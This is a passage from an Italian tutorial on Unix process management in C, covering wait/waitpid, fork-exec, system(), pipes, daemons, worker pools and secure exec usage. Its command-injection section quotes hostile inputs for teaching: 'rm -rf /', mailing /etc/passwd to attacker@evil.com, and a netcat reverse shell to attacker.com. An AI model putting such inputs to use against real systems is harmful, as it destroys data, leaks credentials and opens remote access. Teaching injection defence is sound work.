sa.sa_flags = SA_RESTART | SA_NOCLDSTOP;
sigaction(SIGCHLD, &sa, NULL);
// ... resto del codice ...
}
5.7.2 Processi Orfani
Se un padre termina prima dei suoi figli, questi ultimi diventano orfani. Il kernel riassegna automaticamente la paternità al processo init (PID 1), che periodicamente invoca wait() per raccogliere i processi terminati.
Questo meccanismo garantisce che:
Implicazioni: la riassegnazione a init avviene immediatamente, quindi getppid() restituirà 1 dopo la terminazione del padre originale.
pid_t pid = fork();
if (pid == 0) {
// Figlio
sleep(5);
printf("PPID dopo sleep: %d\n", getppid()); // Probabilmente 1
} else {
// Padre termina immediatamente
exit(0);
}
5.8.1 Interruzione da Segnale
wait() e waitpid() sono system call bloccanti che possono essere interrotte da segnali. Quando ciò accade, ritornano -1 con errno impostato a EINTR.
Gestione robusta:
int status;
pid_t pid;
do {
pid = waitpid(child_pid, &status, 0);
} while (pid == -1 && errno == EINTR);
if (pid == -1) {
perror("waitpid");
} else {
// Successo
}
5.8.2 Flag SA_RESTART
Il flag SA_RESTART in sigaction() causa il riavvio automatico di alcune system call interrotte. Tuttavia, il comportamento con wait() e waitpid() può variare tra sistemi.
5.9.1 Attesa di Tutti i Figli
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/wait.h>
#define NUM_CHILDREN 5
int main() {
int i;
// Creazione dei figli
for (i = 0; i < NUM_CHILDREN; i++) {
pid_t pid = fork();
if (pid == 0) {
printf("Figlio %d (PID=%d) inizia\n", i, getpid());
sleep(rand() % 5);
exit(i);
}
}
// Padre attende tutti i figli
printf("Padre attende tutti i figli...\n");
for (i = 0; i < NUM_CHILDREN; i++) {
int status;
pid_t pid = wait(&status);
printf("Figlio PID=%d terminato", pid);
if (WIFEXITED(status)) {
printf(" con exit status %d", WEXITSTATUS(status));
}
printf("\n");
}
printf("Tutti i figli sono terminati\n");
return 0;
}
5.9.2 Timeout su wait
Implementazione di un timeout usando WNOHANG e polling:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/wait.h>
#include <time.h>
#define TIMEOUT_SECONDS 10
int wait_with_timeout(pid_t pid, int *status, int timeout) {
time_t start = time(NULL);
while (1) {
pid_t result = waitpid(pid, status, WNOHANG);
if (result == pid) {
return 0; // Successo
} else if (result == -1) {
return -1; // Errore
}
// result == 0: figlio ancora in esecuzione
if (time(NULL) - start >= timeout) {
return -2; // Timeout
}
usleep(100000); // Sleep 100ms
}
}
int main() {
pid_t pid = fork();
if (pid == 0) {
sleep(15); // Più lungo del timeout
exit(0);
} else {
int status;
int result = wait_with_timeout(pid, &status, TIMEOUT_SECONDS);
if (result == 0) {
printf("Figlio terminato in tempo\n");
} else if (result == -2) {
printf("Timeout! Termino il figlio...\n");
kill(pid, SIGKILL);
waitpid(pid, &status, 0);
} else {
perror("wait");
}
}
return 0;
}
5.9.3 Gestione Asincrona con Signal Handler
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
#include <sys/wait.h>
volatile sig_atomic_t child_terminated = 0;
void sigchld_handler(int sig) {
int saved_errno = errno;
while (waitpid(-1, NULL, WNOHANG) > 0) {
child_terminated++;
}
errno = saved_errno;
}
int main() {
struct sigaction sa;
sa.sa_handler = sigchld_handler;
sigemptyset(&sa.sa_mask);
sa.sa_flags = SA_RESTART;
sigaction(SIGCHLD, &sa, NULL);
// Crea alcuni figli
for (int i = 0; i < 3; i++) {
if (fork() == 0) {
sleep(i + 1);
exit(0);
}
}
// Padre fa altro lavoro
printf("Padre: faccio altro lavoro...\n");
while (child_terminated < 3) {
printf("Terminati: %d/3\n", child_terminated);
sleep(1);
}
printf("Tutti i figli sono terminati\n");
return 0;
}
Il pattern fork-exec è fondamentale nell’architettura Unix: separa la creazione di un nuovo processo (fork) dalla specifica di cosa deve eseguire (exec). Questo consente grande flessibilità.
6.1.1 Template Standard
Il template fork-exec rappresenta lo schema idiomatico fondamentale per l’esecuzione di programmi esterni in Unix. Questo pattern sfrutta la separazione concettuale tra la creazione di un nuovo contesto di esecuzione (fork) e il caricamento del codice da eseguire (exec), permettendo di preparare l’ambiente del processo figlio prima della trasformazione. Il template è particolarmente potente perché consente di configurare l’ambiente di esecuzione (redirezione I/O, chiusura di file descriptor, modifica di variabili d’ambiente) nel processo figlio prima che questo venga trasformato nell’eseguibile target, garantendo che il nuovo programma inizi l’esecuzione in uno stato completamente controllato e predicibile. Nel processo padre, la chiamata a waitpid() garantisce la sincronizzazione, permettendo di recuperare lo stato di terminazione e di evitare la creazione di processi zombie.
pid_t pid = fork();
if (pid < 0) {
perror("fork");
exit(EXIT_FAILURE);
} else if (pid == 0) {
// Figlio: preparazione ambiente
// - Redirezione I/O
// - Chiusura descriptor inutilizzati
// - Impostazione variabili ambiente
execvp(program, args);
// Se arriviamo qui, exec è fallita
perror("exec");
exit(EXIT_FAILURE);
} else {
// Padre: continua o attende
int status;
waitpid(pid, &status, 0);
// Elaborazione del risultato
}
Analisi dettagliata del codice:
Invocazione della fork (pid_t pid = fork();): viene creato un nuovo processo figlio. La variabile pid assumerà valori diversi nei due processi: 0 nel figlio, il PID del figlio nel padre, oppure -1 in caso di errore.
Gestione dell’errore (if (pid < 0)): se la fork fallisce (risorse insufficienti, limiti di sistema raggiunti), il programma stampa un messaggio d’errore descrittivo tramite perror() e termina con EXIT_FAILURE. È fondamentale gestire questo caso per evitare comportamenti indefiniti.
Codice del processo figlio (else if (pid == 0)): in questo blocco, eseguito solo dal processo figlio, avviene la preparazione dell’ambiente di esecuzione. Tipicamente si includono operazioni quali la redirezione dei file descriptor (stdin, stdout, stderr verso file o pipe), la chiusura di descriptor ereditati dal padre ma non necessari, e l’impostazione di variabili d’ambiente specifiche.
Invocazione della exec (execvp(program, args);): questa chiamata sostituisce l’immagine del processo corrente con il programma specificato. Se ha successo, il controllo non torna mai a questo punto, poiché il codice del processo è stato completamente rimpiazzato.
Gestione del fallimento di exec: il codice successivo alla execvp() viene eseguito solo se la exec fallisce. In tal caso, si stampa un messaggio d’errore e si termina il processo figlio con exit(EXIT_FAILURE) per evitare che continui ad eseguire codice del padre.
Codice del processo padre (else): il padre, identificato dal fatto che pid contiene il PID del figlio, procede tipicamente ad attendere la terminazione del figlio tramite waitpid(), che blocca il padre fino al completamento dell’esecuzione del figlio.
Recupero dello stato (waitpid(pid, &status, 0);): la chiamata bloccante permette di recuperare informazioni sulla terminazione del figlio nella variabile status, che può poi essere analizzata tramite le macro WIFEXITED, WEXITSTATUS, ecc., per determinare se il processo è terminato normalmente o a causa di un segnale.
6.1.2 Implementazione di system()
La funzione di libreria system() rappresenta un’astrazione di alto livello del pattern fork-exec, permettendo l’esecuzione di comandi shell in modo semplificato. La funzione accetta una stringa contenente un comando completo (che può includere pipe, redirezioni e altri operatori shell) e lo esegue tramite /bin/sh, restituendo lo stato di terminazione. L’implementazione che segue illustra i meccanismi interni di questa funzione, evidenziando come gestisce la creazione del processo, l’invocazione della shell, e la sincronizzazione con gestione robusta delle interruzioni. Un aspetto critico è l’uso di _exit() invece di exit() nel processo figlio, per evitare che i buffer di I/O e altri handler di terminazione vengano eseguiti due volte (una nel figlio, una nel padre). La gestione del ciclo di attesa con retry su EINTR garantisce che la funzione sia robusta rispetto alle interruzioni da segnali.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/wait.h>
int my_system(const char *command) {
pid_t pid;
int status;
if (command == NULL) {
return 1; // Shell disponibile
}
pid = fork();
if (pid < 0) {
return -1;
} else if (pid == 0) {
// Esegui comando tramite shell
execl("/bin/sh", "sh", "-c", command, (char *) NULL);
_exit(127); // Usa _exit() nel figlio
} else {
// Attendi terminazione
do {
if (waitpid(pid, &status, 0) == -1) {
if (errno != EINTR) {
return -1;
}
} else {
return status;
}
} while (1);
}
}
Analisi dettagliata del codice:
Validazione dell’input (if (command == NULL)): se il comando è NULL, la funzione restituisce 1 per indicare che una shell è disponibile sul sistema. Questo è un comportamento standard di system() documentato in POSIX.
Creazione del processo figlio (pid = fork();): viene creato un nuovo processo per eseguire il comando. La gestione del valore di ritorno permette di distinguere tra errore, processo figlio e processo padre.
Gestione dell’errore di fork (if (pid < 0)): se la fork fallisce, la funzione ritorna immediatamente -1 per segnalare l’errore al chiamante, senza tentare l’esecuzione del comando.
Esecuzione nel figlio (else if (pid == 0)): il processo figlio invoca la shell /bin/sh con l’opzione -c seguita dal comando da eseguire. L’uso di execl() permette di passare gli argomenti come lista terminata da NULL.
Uso di _exit() invece di exit(): se execl() fallisce, il figlio chiama _exit(127) invece di exit(). La funzione _exit() termina il processo immediatamente senza eseguire le funzioni registrate con atexit() né svuotare i buffer di I/O, evitando duplicazioni di cleanup che potrebbero corrompere lo stato del padre. Il codice 127 è convenzionalmente usato per indicare “comando non trovato”.
Ciclo di attesa con retry (do { ... } while (1);): il padre entra in un ciclo infinito che terminerà solo quando waitpid() avrà successo o fallirà con un errore diverso da EINTR.
Gestione di EINTR (if (errno != EINTR)): se waitpid() viene interrotta da un segnale, errno sarà impostato a EINTR. In questo caso, il ciclo continua e waitpid() viene richiamata. Solo errori diversi da interruzioni causano il ritorno di -1.
Restituzione dello status (return status;): quando waitpid() ha successo, la funzione ritorna il valore di status grezzo, che può essere analizzato dal chiamante tramite le macro WIFEXITED, WEXITSTATUS, ecc.
Le pipeline shell (es. ls | grep txt | wc -l) sono implementate usando fork(), exec() e pipe(). La pipe rappresenta un canale di comunicazione unidirezionale tra processi, costituito da due file descriptor: uno per la scrittura (pipefd[1]) e uno per la lettura (pipefd[0]). L’implementazione di una pipeline richiede una coreografia precisa: la pipe deve essere creata prima delle fork, in modo che entrambi i processi figli ereditino gli stessi file descriptor; ciascun processo deve poi chiudere l’estremità della pipe che non utilizza per evitare deadlock e permettere la corretta propagazione dell’EOF; infine, il processo padre deve chiudere entrambe le estremità se non partecipa alla comunicazione. La redirezione dell’I/O viene ottenuta tramite dup2(), che duplica un file descriptor su un numero predefinito (STDIN_FILENO o STDOUT_FILENO), sostituendo efficacemente l’input o l’output standard del processo. Questa tecnica permette ai programmi di comunicare trasparentemente attraverso la pipe senza modificare il loro codice sorgente.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/wait.h>
int main() {
int pipefd[2];
pid_t pid1, pid2;
// Crea la pipe
if (pipe(pipefd) == -1) {
perror("pipe");
exit(EXIT_FAILURE);
}
// Primo processo: ls
pid1 = fork();
if (pid1 == 0) {
// Redirigi stdout sulla pipe
close(pipefd[0]); // Chiudi estremità di lettura
dup2(pipefd[1], STDOUT_FILENO);
close(pipefd[1]);
execlp("ls", "ls", "-l", (char *) NULL);
perror("exec ls");
exit(EXIT_FAILURE);
}
// Secondo processo: grep
pid2 = fork();
if (pid2 == 0) {
// Redirigi stdin dalla pipe
close(pipefd[1]); // Chiudi estremità di scrittura
dup2(pipefd[0], STDIN_FILENO);
close(pipefd[0]);
execlp("grep", "grep", "txt", (char *) NULL);
perror("exec grep");
exit(EXIT_FAILURE);
}
// Padre: chiude entrambe le estremità della pipe
close(pipefd[0]);
close(pipefd[1]);
// Attende entrambi i figli
waitpid(pid1, NULL, 0);
waitpid(pid2, NULL, 0);
return 0;
}
Analisi dettagliata del codice:
Creazione della pipe (pipe(pipefd)): alloca due file descriptor connessi: pipefd[0] per la lettura e pipefd[1] per la scrittura. I dati scritti su pipefd[1] possono essere letti da pipefd[0]. Se la creazione fallisce (memoria insufficiente, limite di descriptor raggiunto), la funzione ritorna -1 e il programma termina con un messaggio d’errore.
Creazione del primo processo (pid1 = fork();): viene creato il primo figlio che eseguirà ls. Questo processo eredita una copia dei file descriptor della pipe dal padre.
Redirezione dell’output nel primo figlio:
close(pipefd[0]): il processo ls scriverà sulla pipe ma non leggerà, quindi chiude l’estremità di lettura. Questo è fondamentale: se non chiudesse questa estremità, il lettore (grep) non riceverebbe mai EOF quando ls termina.dup2(pipefd[1], STDOUT_FILENO): duplica il descriptor di scrittura della pipe sul file descriptor 1 (stdout standard). Ora tutto ciò che ls scrive su stdout andrà nella pipe.close(pipefd[1]): dopo la duplicazione, il descriptor originale non è più necessario e viene chiuso per evitare leak di descriptor.Esecuzione di ls (execlp("ls", "ls", "-l", (char *) NULL);): sostituisce il processo con il comando ls -l. L’output di ls viene automaticamente scritto sulla pipe grazie alla redirezione precedente.
Creazione del secondo processo (pid2 = fork();): analogamente al primo figlio, viene creato il processo che eseguirà grep, ereditando anch’esso i file descriptor della pipe.
Redirezione dell’input nel secondo figlio:
close(pipefd[1]): il processo grep leggerà dalla pipe ma non scriverà, quindi chiude l’estremità di scrittura. Anche questo è critico: mantenere aperta questa estremità impedirebbe a grep di ricevere EOF.dup2(pipefd[0], STDIN_FILENO): duplica il descriptor di lettura della pipe sul file descriptor 0 (stdin standard). Ora grep leggerà dalla pipe invece che dalla tastiera.close(pipefd[0]): chiude il descriptor originale dopo la duplicazione.Esecuzione di grep (execlp("grep", "grep", "txt", (char *) NULL);): sostituisce il processo con il comando grep txt. L’input di grep proviene dalla pipe, filtrando le linee prodotte da ls.
Chiusura della pipe nel padre: il padre chiude entrambe le estremità (close(pipefd[0]) e close(pipefd[1])) perché non partecipa alla comunicazione. Questa chiusura è essenziale: se il padre mantenesse aperta l’estremità di scrittura, grep non riceverebbe mai EOF anche dopo la terminazione di ls.
Sincronizzazione (waitpid(pid1, NULL, 0); waitpid(pid2, NULL, 0);): il padre attende la terminazione di entrambi i figli. L’ordine delle waitpid() non è critico; entrambe possono bloccare fino al completamento dei rispettivi processi.
Principi chiave:
I daemon sono processi in background che eseguono servizi di sistema. La loro creazione richiede una sequenza specifica di operazioni per garantire il completo distacco dal terminale di controllo, l’indipendenza dalla sessione dell’utente e la capacità di operare in modo autonomo anche dopo la disconnessione dell’utente. Il processo di “daemonizzazione” coinvolge una doppia fork: la prima stacca il processo dal padre originale, mentre la seconda (opzionale ma fortemente raccomandata) previene che il daemon possa acquisire accidentalmente un terminale di controllo in futuro. La chiamata setsid() crea una nuova sessione e rende il processo il session leader, eliminando qualsiasi associazione con terminali preesistenti. La chiusura di tutti i file descriptor ereditati e la redirezione di stdin/stdout/stderr verso /dev/null garantiscono che il daemon non interferisca con terminali o shell. Il cambio della directory corrente a root (/) previene che il daemon mantenga bloccati filesystem che potrebbero dover essere smontati. Questa sequenza standardizzata assicura che il daemon operi in modo pulito, prevedibile e senza dipendenze dall’ambiente di avvio.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <signal.h>
void become_daemon() {
pid_t pid;
// 1. Fork e terminazione del padre
pid = fork();
if (pid < 0) {
exit(EXIT_FAILURE);
}
if (pid > 0) {
exit(EXIT_SUCCESS); // Padre termina
}
// 2. Crea nuova sessione (diventa session leader)
if (setsid() < 0) {
exit(EXIT_FAILURE);
}
// 3. Ignora SIGHUP
signal(SIGHUP, SIG_IGN);
// 4. Seconda fork (opzionale ma raccomandata)
// Previene acquisizione di terminal di controllo
pid = fork();
if (pid < 0) {
exit(EXIT_FAILURE);
}
if (pid > 0) {
exit(EXIT_SUCCESS);
}
// 5. Cambia directory di lavoro a root
if (chdir("/") < 0) {
exit(EXIT_FAILURE);
}
// 6. Chiudi tutti i file descriptor aperti
for (int fd = 0; fd < sysconf(_SC_OPEN_MAX); fd++) {
close(fd);
}
// 7. Redirigi stdin, stdout, stderr a /dev/null
int fd0 = open("/dev/null", O_RDWR);
int fd1 = dup(fd0);
int fd2 = dup(fd0);
// 8. Apri syslog per logging
// openlog("mydaemon", LOG_PID, LOG_DAEMON);
// Ora il daemon può iniziare il suo lavoro
}
int main() {
become_daemon();
// Ciclo principale del daemon
while (1) {
// Lavoro del daemon
sleep(30);
}
return 0;
}
Analisi dettagliata del codice:
Prima fork (fork() seguito da terminazione del padre): questa fork crea un processo figlio che continuerà come daemon, mentre il padre termina immediatamente. Questo ha due effetti: (a) il processo originale ritorna al terminale o alla shell che lo ha invocato, permettendo all’utente di continuare a lavorare, e (b) il figlio, non essendo più il process group leader, può chiamare setsid() con successo.
Creazione di una nuova sessione (setsid()): questa chiamata esegue tre operazioni atomiche: (a) crea una nuova sessione di cui il processo diventa leader, (b) crea un nuovo process group di cui il processo diventa leader, e © distacca il processo da qualsiasi terminale di controllo. Dopo setsid(), il processo non ha più un terminale associato.
Ignorare SIGHUP (signal(SIGHUP, SIG_IGN)): quando un session leader termina, il kernel invia SIGHUP ai processi della sessione. Ignorando questo segnale, si previene una terminazione accidentale quando il terminale viene chiuso. Questo è particolarmente importante prima della seconda fork.
Seconda fork: questa fork addizionale garantisce che il daemon non sia più un session leader. Solo i session leader possono acquisire un terminale di controllo; rinunciando a questo ruolo, si assicura che il daemon non possa mai ottenere accidentalmente un terminale, anche se apre un device terminale in futuro. Il processo genitore (risultato della prima fork) termina, e il nipote del processo originale continua.
Cambio directory (chdir("/")): modificando la directory corrente alla root, si previene che il daemon mantenga un riferimento a directory di lavoro potenzialmente montate su filesystem rimovibili o che potrebbero dover essere smontati. Senza questo passaggio, il filesystem contenente la directory di lavoro non potrebbe essere smontato finché il daemon è attivo.
Chiusura di tutti i file descriptor: il ciclo chiude tutti i descriptor aperti, da 0 fino al massimo di sistema (ottenuto tramite sysconf(_SC_OPEN_MAX)). Questo elimina qualsiasi file, socket, o pipe ereditato dal processo originale, prevenendo leak di risorse e comportamenti inattesi. Su sistemi con molti descriptor, si può ottimizzare usando /proc/self/fd o getrlimit(RLIMIT_NOFILE).
Redirezione dell’I/O standard:
open("/dev/null", O_RDWR) apre /dev/null in lettura/scrittura, ottenendo tipicamente il descriptor 0 (dato che tutti i descriptor sono stati chiusi).dup(fd0) duplica questo descriptor ottenendo il descriptor 1 (stdout).dup(fd0) nuovamente duplica ottenendo il descriptor 2 (stderr)./dev/null (scartando qualsiasi tentativo di input), mentre stdout e stderr scrivono verso /dev/null (scartando qualsiasi output). Questo previene che messaggi di errore o output accidentale vengano scritti sul terminale originale o causino errori di I/O.Apertura del syslog (commentata): per daemon di produzione, si apre una connessione al syslog daemon per registrare eventi, errori e informazioni diagnostiche. La funzione openlog() configura il tag del processo, le opzioni di logging e la facility.
Ciclo principale (while (1)): una volta completata la daemonizzazione, il processo entra nel suo ciclo principale dove esegue il lavoro previsto (gestione di richieste, monitoraggio, elaborazioni periodiche, ecc.). Il sleep(30) è qui solo illustrativo; un daemon reale userebbe select, poll, epoll o altri meccanismi per gestire eventi in modo efficiente.
Il pattern del pool di processi worker rappresenta una strategia efficace per la gestione di carichi di lavoro parallelizzabili, dove molteplici task indipendenti possono essere eseguiti concorrentemente per massimizzare l’utilizzo delle risorse di sistema. Invece di creare un nuovo processo per ciascun task on-demand (approccio che comporta overhead significativo per fork ripetute), il pool precrea un numero fisso di processi worker che rimangono attivi per tutta la durata dell’applicazione. In questo esempio semplificato, ogni worker esegue una sequenza predefinita di task, ma in implementazioni reali i worker tipicamente leggerebbero task da una coda condivisa (implementata tramite pipe, code di messaggi, o memoria condivisa con semafori) o gestirebbero connessioni da un socket condiviso. Il processo principale mantiene traccia dei PID di tutti i worker e attende la loro terminazione, permettendo di raccogliere statistiche sull’esecuzione e di gestire eventuali fallimenti individuali senza compromettere l’intero sistema.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/wait.h>
#define NUM_WORKERS 4
void worker_process(int worker_id) {
printf("Worker %d (PID=%d) inizia\n", worker_id, getpid());
// Simula lavoro
for (int i = 0; i < 5; i++) {
printf("Worker %d: task %d\n", worker_id, i);
sleep(1);
}
printf("Worker %d termina\n", worker_id);
exit(worker_id);
}
int main() {
pid_t workers[NUM_WORKERS];
// Crea pool di worker
for (int i = 0; i < NUM_WORKERS; i++) {
workers[i] = fork();
if (workers[i] < 0) {
perror("fork");
exit(EXIT_FAILURE);
} else if (workers[i] == 0) {
worker_process(i);
// worker_process termina con exit(), non ritorna
}
}
// Processo principale: monitora i worker
printf("Pool di %d worker creato\n", NUM_WORKERS);
int active_workers = NUM_WORKERS;
while (active_workers > 0) {
int status;
pid_t pid = wait(&status);
if (pid > 0) {
active_workers--;
printf("Worker PID=%d terminato (%d rimanenti)\n",
pid, active_workers);
if (WIFEXITED(status)) {
printf(" Exit status: %d\n", WEXITSTATUS(status));
}
}
}
printf("Tutti i worker sono terminati\n");
return 0;
}
Analisi dettagliata del codice:
Definizione del numero di worker (#define NUM_WORKERS 4): il numero di worker è tipicamente dimensionato in base al numero di core disponibili sul sistema o al livello di parallelismo desiderato. In applicazioni reali, questo valore potrebbe essere configurabile o determinato dinamicamente tramite sysconf(_SC_NPROCESSORS_ONLN).
Array di tracking dei PID (pid_t workers[NUM_WORKERS]): mantiene i PID di tutti i worker creati, permettendo al processo principale di identificare quale worker specifico ha terminato quando riceve notifiche tramite wait().
Ciclo di creazione (for (int i = 0; i < NUM_WORKERS; i++)): crea sequenzialmente i worker. Ogni iterazione del ciclo invoca fork(), e solo il processo padre continua al prossimo ciclo; i figli escono immediatamente dal loop chiamando worker_process() che termina con exit().
Gestione errori di fork (if (workers[i] < 0)): se la creazione di un worker fallisce (ad esempio per esaurimento delle risorse), il programma stampa un errore e termina. In implementazioni production-grade, si potrebbe gestire questo scenario in modo più sofisticato, ad esempio continuando con meno worker o implementando retry con backoff.
Esecuzione del worker (else if (workers[i] == 0)): il processo figlio invoca worker_process(i), passando l’indice come identificatore. Questa funzione non ritorna mai perché termina con exit(), quindi il codice dopo la chiamata nel figlio è irraggiungibile.
Funzione worker_process: rappresenta il ciclo di vita di un worker:
exit(worker_id), restituendo l’ID del worker come codice di uscita (utilizzato qui a scopo dimostrativo; in produzione si userebbe un codice che indica successo/fallimento).Monitoraggio nel processo principale: dopo aver creato tutti i worker, il padre entra in una fase di monitoraggio. Inizializza un contatore active_workers e entra in un loop che terminerà solo quando tutti i worker sono completati.
Attesa non selettiva (wait(&status)): raccoglie qualsiasi worker che termina, senza specificare quale. Questo approccio è appropriato quando l’ordine di terminazione non è importante. Per gestione più fine-grained, si userebbe waitpid() con PID specifici.
Analisi dello status di terminazione:
WIFEXITED per verificare terminazione normale e WEXITSTATUS per estrarre il codice di uscita.Completamento: quando active_workers raggiunge zero, il loop termina e il processo principale stampa un messaggio finale prima di uscire. In un server reale, il processo principale potrebbe decidere di ricreare worker terminati (pattern di supervisione) o gestire shutdown graceful.
Il pattern di gestione concorrente delle richieste è tipicamente impiegato in server che devono gestire connessioni multiple simultaneamente, dove ciascuna connessione richiede elaborazione indipendente e potenzialmente lunga. L’approccio “un processo per richiesta” (process-per-request) crea un nuovo processo figlio dedicato per gestire ciascuna connessione in arrivo, permettendo elaborazione parallela senza bloccare l’accettazione di nuove richieste. Questo modello è particolarmente efficace quando: (a) le richieste hanno tempi di elaborazione lunghi o variabili, (b) l’isolamento tra richieste è critico per sicurezza o stabilità, © il carico non è così elevato da saturare il sistema con troppe fork. Una componente cruciale di questo pattern è la gestione automatica dei processi zombie tramite un signal handler per SIGCHLD, che raccoglie asincronamente i figli terminati senza bloccare il processo principale. Questo approccio garantisce che il server possa continuare ad accettare nuove richieste mentre altre sono ancora in elaborazione, e che non accumuli processi zombie che potrebbero esaurire le risorse di sistema.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
#include <sys/wait.h>
void handle_client(int client_id) {
printf("Handler %d: gestisco client\n", client_id);
sleep(2); // Simula elaborazione
printf("Handler %d: completato\n", client_id);
exit(0);
}
void sigchld_handler(int sig) {
// Raccoglie processi zombie
while (waitpid(-1, NULL, WNOHANG) > 0);
}
int main() {
// Installa handler per SIGCHLD
struct sigaction sa;
sa.sa_handler = sigchld_handler;
sigemptyset(&sa.sa_mask);
sa.sa_flags = SA_RESTART;
sigaction(SIGCHLD, &sa, NULL);
printf("Server in attesa di richieste...\n");
// Simula arrivo di client
for (int i = 0; i < 10; i++) {
sleep(1); // Simula intervallo tra richieste
pid_t pid = fork();
if (pid < 0) {
perror("fork");
continue;
} else if (pid == 0) {
handle_client(i);
// Non raggiunto
}
printf("Server: spawned handler per client %d (PID=%d)\n", i, pid);
}
// Attendi completamento di tutti gli handler
printf("Server: attendo terminazione handler...\n");
sleep(5);
return 0;
}
Analisi dettagliata del codice:
Funzione handle_client: rappresenta il codice che gestisce una singola richiesta client. Riceve un identificatore del client e simula elaborazione con sleep(2). In un server reale, questa funzione conterrebbe:
exit(0) per indicare successo, o con un codice di errore appropriato.Signal handler per SIGCHLD (sigchld_handler): questa funzione viene invocata automaticamente dal kernel quando un processo figlio termina. Il segnale SIGCHLD è asincrono e può arrivare in qualsiasi momento durante l’esecuzione del padre.
Loop di raccolta zombie (while (waitpid(-1, NULL, WNOHANG) > 0);):
waitpid(-1, ...) raccoglie qualsiasi processo figlio terminato.WNOHANG rende la chiamata non bloccante: se nessun figlio è terminato, ritorna immediatamente 0 invece di bloccarsi.NULL) perché in questo contesto semplificato non è necessario analizzare come i processi sono terminati.Configurazione della struct sigaction:
sa.sa_handler = sigchld_handler: specifica la funzione da chiamare quando SIGCHLD viene ricevuto.sigemptyset(&sa.sa_mask): inizializza una maschera vuota, quindi nessun segnale addizionale viene bloccato durante l’esecuzione dell’handler.sa.sa_flags = SA_RESTART: fa sì che system call lente interrotte dal segnale vengano automaticamente riavviate dopo il ritorno dell’handler, invece di fallire con EINTR. Questo è importante per evitare che accept() o altre chiamate vengano interrotte continuamente.Installazione dell’handler (sigaction(SIGCHLD, &sa, NULL);): registra l’handler presso il kernel. Da questo punto in poi, ogni terminazione di processo figlio causerà l’invocazione di sigchld_handler.
Loop di accettazione richieste (for (int i = 0; i < 10; i++)): simula l’arrivo di 10 richieste client. In un server reale, questo sarebbe un loop infinito che invoca accept() su un socket in ascolto, bloccandosi in attesa di nuove connessioni.
Simulazione intervallo tra richieste (sleep(1)): introduce un ritardo artificiale per simulare l’arrivo non simultaneo di richieste. In un server reale, l’intervallo è determinato naturalmente dalla frequenza di arrivo delle connessioni.
Creazione del processo handler (fork()): per ogni richiesta, viene creato un nuovo processo dedicato.
Gestione errore di fork (if (pid < 0)): se la fork fallisce (sistema sovraccarico, limiti raggiunti), viene stampato un errore ma il server continua con continue, permettendo di accettare la prossima richiesta. In un server production, si potrebbe implementare backpressure, rifiutando temporaneamente connessioni se il sistema è sotto stress.
Esecuzione dell’handler nel figlio (else if (pid == 0)): il processo figlio invoca handle_client(i), che non ritorna mai. Ogni handler opera indipendentemente in uno spazio di indirizzamento separato, garantendo isolamento tra richieste.
Logging nel padre: il padre stampa un messaggio indicando la creazione dell’handler e il suo PID. Questo è utile per debugging e monitoraggio. In sistemi di produzione, si userebbe un sistema di logging strutturato.
Attesa finale (sleep(5)): dopo aver spawned tutti gli handler, il padre attende qualche secondo per permettere il completamento delle richieste. In un server reale, il padre entrerebbe in un ciclo infinito continuando ad accettare connessioni, o implementerebbe uno shutdown graceful che attende tutti gli handler attivi prima di terminare.
7.1.1 Validazione degli Input per exec
L’esecuzione di programmi esterni rappresenta uno dei vettori di attacco più critici nelle applicazioni che processano input utente. Quando parametri non validati vengono passati direttamente alla shell tramite system() o funzioni simili, si crea una vulnerabilità di command injection che può permettere a un attaccante di eseguire comandi arbitrari con i privilegi del processo. La differenza fondamentale tra l’approccio vulnerabile e quello sicuro risiede nella separazione degli argomenti: l’uso di system() con concatenazione di stringhe passa tutto alla shell che interpreta caratteri speciali (;, |, &, $, ecc.), mentre l’uso di execvp() con array di argomenti passa i parametri direttamente al programma eseguito senza interpretazione shell, eliminando la possibilità di injection. Questa distinzione è cruciale: anche input apparentemente innocui possono contenere sequenze che, interpretate dalla shell, causano esecuzione di codice malevolo.
// VULNERABILE a command injection
char command[256];
sprintf(command, "cat %s", user_input);
system(command); // Se user_input = "; rm -rf /", disastro!
// SICURO: usa execvp con array di argomenti
char *args[] = {"cat", user_input, NULL};
if (fork() == 0) {
execvp("cat", args);
exit(EXIT_FAILURE);
}
Analisi dettagliata del codice:
Esempio vulnerabile:
Concatenazione di stringhe (sprintf(command, "cat %s", user_input);): costruisce un comando shell concatenando letteralmente l’input utente. Questo è il punto critico della vulnerabilità: se user_input contiene caratteri speciali interpretati dalla shell, questi vengono eseguiti.
Esecuzione tramite system() (system(command);): passa l’intera stringa a /bin/sh -c, che la interpreta come comando shell completo. La shell processa sequenze come ; (separatore di comandi), | (pipe), && (esecuzione condizionale), backtick o $() (command substitution), permettendo injection.
Esempio di exploit: se user_input = "; rm -rf /", la stringa risultante sarà "cat ; rm -rf /", che la shell interpreta come due comandi separati: prima cat (che fallisce), poi rm -rf / (che cancella ricorsivamente il filesystem).
Altri vettori di attacco: user_input = "file.txt; mail attacker@evil.com < /etc/passwd" esfiltrerebbe password, mentre user_input = "| nc attacker.com 1234 -e /bin/sh" aprirebbe una reverse shell.
Esempio sicuro:
Costruzione di array di argomenti (char *args[] = {"cat", user_input, NULL};): crea un array dove ogni elemento è un argomento separato. Critico: l’array deve terminare con NULL per indicare la fine degli argomenti.
Fork per isolamento (if (fork() == 0)): crea un processo figlio dedicato all’esecuzione. Questo isola l’esecuzione e permette al padre di continuare dopo aver spawned il comando.
Esecuzione diretta senza shell (execvp("cat", args);): execvp() invoca direttamente l’eseguibile cat passando gli argomenti come array. Non c’è interpretazione shell: anche se user_input contiene ;, |, o altri metacaratteri, questi vengono passati letteralmente a cat come nome di file (causando probabilmente un errore “file non trovato”, ma non esecuzione di codice).
Gestione del fallimento (exit(EXIT_FAILURE);): se execvp() fallisce (file non trovato, permessi insufficienti), il processo figlio termina invece di continuare con codice del padre.
Ulteriori considerazioni di sicurezza:
execvp(), validare l’input: verificare che non contenga path traversal (../), caratteri null, o path assoluti non previsti.execve() con ambiente esplicito sanificato per controllo totale.7.1.2 Variabili d’Ambiente e Sicurezza
